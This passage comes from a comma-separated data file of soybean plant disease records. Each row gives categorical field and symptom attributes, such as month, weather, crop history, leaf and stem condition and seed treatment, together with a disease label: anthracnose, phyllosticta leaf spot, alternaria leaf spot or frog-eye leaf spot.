absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\noctober, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, present, absent, lt- \\\n norm, present, norm, anthracnose\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, lt-normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, absent, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nseptember, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 80-89, norm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, norm, absent, absent, norm, absent, norm, anthracnose\nmay, normal, lt-norm, norm, no, diff-lst-year, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njuly, normal, lt-norm, norm, no, same-lst-two-yrs, whole-field, minor, none, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\nmay, lt-normal, norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, lt-normal, norm, norm, yes, same-lst-two-yrs, scattered, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, normal, lt-norm, gt-norm, no, same-lst-yr, upper-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, normal, lt-norm, gt-norm, no, same-lst-yr, whole-field, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njuly, lt-normal, norm, gt-norm, yes, same-lst-yr, scattered, minor, none, 90-100, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\naugust, lt-normal, norm, gt-norm, yes, same-lst-yr, upper-areas, minor, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\njune, lt-normal, norm, gt-norm, yes, same-lst-sev-yrs, scattered, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\naugust, lt-normal, norm, gt-norm, yes, same-lst-yr, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, present, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, phyllosticta-leaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, norm, no, diff-lst-year, scattered, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, norm, no, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, norm, no, diff-lst-year, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, norm, gt-norm, no, same-lst-yr, low-areas, minor, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, norm, norm, no, diff-lst-year, scattered, minor, other, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, norm, no, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\noctober, normal, norm, gt-norm, no, same-lst-sev-yrs, whole-field, minor, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, present, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, gt-norm, yes, diff-lst-year, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, norm, gt-norm, no, diff-lst-year, scattered, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-yr, low-areas, minor, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, norm, gt-norm, no, same-lst-two-yrs, upper-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, whole-field, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, scattered, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-yr, scattered, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, scattered, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, scattered, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, norm, yes, same-lst-yr, scattered, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, norm, norm, no, same-lst-sev-yrs, low-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, normal, norm, norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, norm, norm, no, diff-lst-year, low-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dna, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, norm, no, diff-lst-year, scattered, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, no, same-lst-two-yrs, upper-areas, minor, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, above-sec- \\\n nde, brown, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, lt-normal, gt-norm, norm, no, diff-lst-year, scattered, pot-severe, fungicide, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, norm, no, above-soil, brown, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, no, same-lst-two-yrs, upper-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, no, same-lst-yr, scattered, pot-severe, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, no, same-lst-sev-yrs, upper-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, lt-normal, gt-norm, gt-norm, no, same-lst-two-yrs, scattered, pot-severe, none, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, lt-normal, gt-norm, gt-norm, no, same-lst-sev-yrs, scattered, pot-severe, other, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, norm, no, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, norm, yes, same-lst-yr, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, normal, gt-norm, gt-norm, yes, same-lst-yr, whole-field, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, 